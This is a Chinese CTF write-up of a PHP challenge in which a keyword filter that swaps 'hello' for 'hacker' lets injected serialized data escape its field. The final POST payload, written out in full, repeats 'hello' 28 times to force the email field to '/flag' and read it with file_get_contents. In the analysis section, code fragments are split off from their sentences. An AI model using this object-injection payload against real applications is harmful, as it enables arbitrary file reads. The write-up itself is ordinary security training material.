字符串逃逸
题目
<?php
error_reporting(0);
class catalogue{
public $class;
public $data;
public function __construct()
{
$this->class = "error";
$this->data = "hacker";
}
public function __destruct()
{
echo new $this->class($this->data);
}
}
class error{
public function __construct($OTL)
{
$this->OTL = $OTL;
echo ("hello ".$this->OTL);
}
}
class escape{
public $name = 'OTL';
public $phone = '123666';
public $email = 'sweet@OTL.com';
}
function abscond($string) {
$filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
$filter = '/' . implode('|', $filter) . '/i';
return preg_replace($filter, 'hacker', $string);
}
if(isset($_GET['cata'])){
if(!preg_match('/object/i',$_GET['cata'])){
unserialize($_GET['cata']);
}
else{
$cc = new catalogue();
unserialize(serialize($cc));
}
if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){
if (preg_match("/flag/i",$_POST['email'])){
die("nonono,you can not do that!");
}
$abscond = new escape();
$abscond->name = $_POST['name'];
$abscond->phone = $_POST['phone'];
$abscond->email = $_POST['email'];
$abscond = serialize($abscond);
$escape = get_object_vars(unserialize(abscond($abscond)));
if(is_array($escape['phone'])){
echo base64_encode(file_get_contents($escape['email']));
}
else{
echo "I'm sorry to tell you that you are wrong";
}
}
}
else{
highlight_file(__FILE__);
}
?>
思路
漏洞点分析
(1) PHP 反序列化漏洞
-
在 处,用户可以通过构造恶意的序列化字符串来触发反序列化漏洞。
unserialize($_GET['cata']) -
结合 和 类,可以控制 和 的值。
catalogueerror$this->class$this->data
(2) 文件读取漏洞
-
在处理 为数组的情况下,程序会尝试读取 指定的文件内容。
$escape['phone']$escape['email'] -
如果能够将 设置为目标文件路径(如 ),即可完成文件读取。
$escape['email']/flag
解题思路
(1) 构造 对象catalogue
-
利用 类的 方法,确保 被设置为 ,而 被设置为可控字符串。
catalogue__destruct$this->classerror$this->data -
这样可以在对象销毁时触发 类的 方法。
error__construct
(2) 控制 $escape['email']
-
目标是让 的值为 。
$escape['email']/flag -
由于 必须是一个数组,因此需要利用 PHP 的特性构造一个特殊的序列化字符串,使得 被覆盖为 。
$escape['phone']$escape['email']/flag
(3) 利用 函数的过滤机制abscond
-
abscond函数会对某些关键字进行替换为 。"hacker" -
我们可以通过构造足够长的字符串(如多个 ),使 的值被覆盖为 。
"hello"$escape['email']/flag
我们的目的是要让变量=/flag,配合filegetcontents函数完成读取 按照常规思路是要在phone变量构造使它多出来目标的email变量,==但是这题的phone变量是个数组==$email
name=test&phone[]=NSS&email=test
O:6:"escape":3:{s:4:"name";s:4:"test";s:5:"phone";a:1:{i:0;s:3:"hacker";}s:5:"email";s:4:"test";}
目标:
";}s:5:"email";s:5:"/flag";}
共28个字符,可以直接用28个hello逃逸
hellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohello";}s:5:"email";s:5:"/flag";}
O:6:"escape":3:{s:4:"name";s:4:"test";s:5:"phone";a:1:{i:0;s:168:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"email";s:5:"/flag";}";}s:5:"email";s:4:"test";}
成功逃逸
?cata=1(随便写)
post:
name=test&phone[]=hellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohello";}s:5:"email";s:5:"/flag";}&email=test
511

被折叠的 条评论
为什么被折叠?



